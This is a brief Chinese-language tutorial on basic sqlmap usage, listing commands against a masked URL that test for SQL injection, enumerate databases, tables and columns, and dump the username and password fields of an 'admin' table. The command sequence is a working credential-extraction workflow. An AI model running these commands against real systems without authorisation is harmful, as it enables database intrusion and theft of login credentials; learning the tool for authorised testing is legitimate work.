sqlmap简单使用

Python sqlmap.py -u “http://*******”

检测该网址的服务器信息，数据库信息，以及是否可以注入

 

 

Python sqlmap.py -u “http://*******” --dbs

枚举数据库

 

Python sqlmap.py -u “http://*******” --tables

得到数据库包含的表

Python sqlmap.py -u “http://*******”  -T “admin” --columns

得到这个表中所有的字段，-T 参数表示选择表“admin”

Python sqlmap.py -u “http://*******”  --dump   -C “username，password”  -T “admin”

得到选定表，选定字段的内容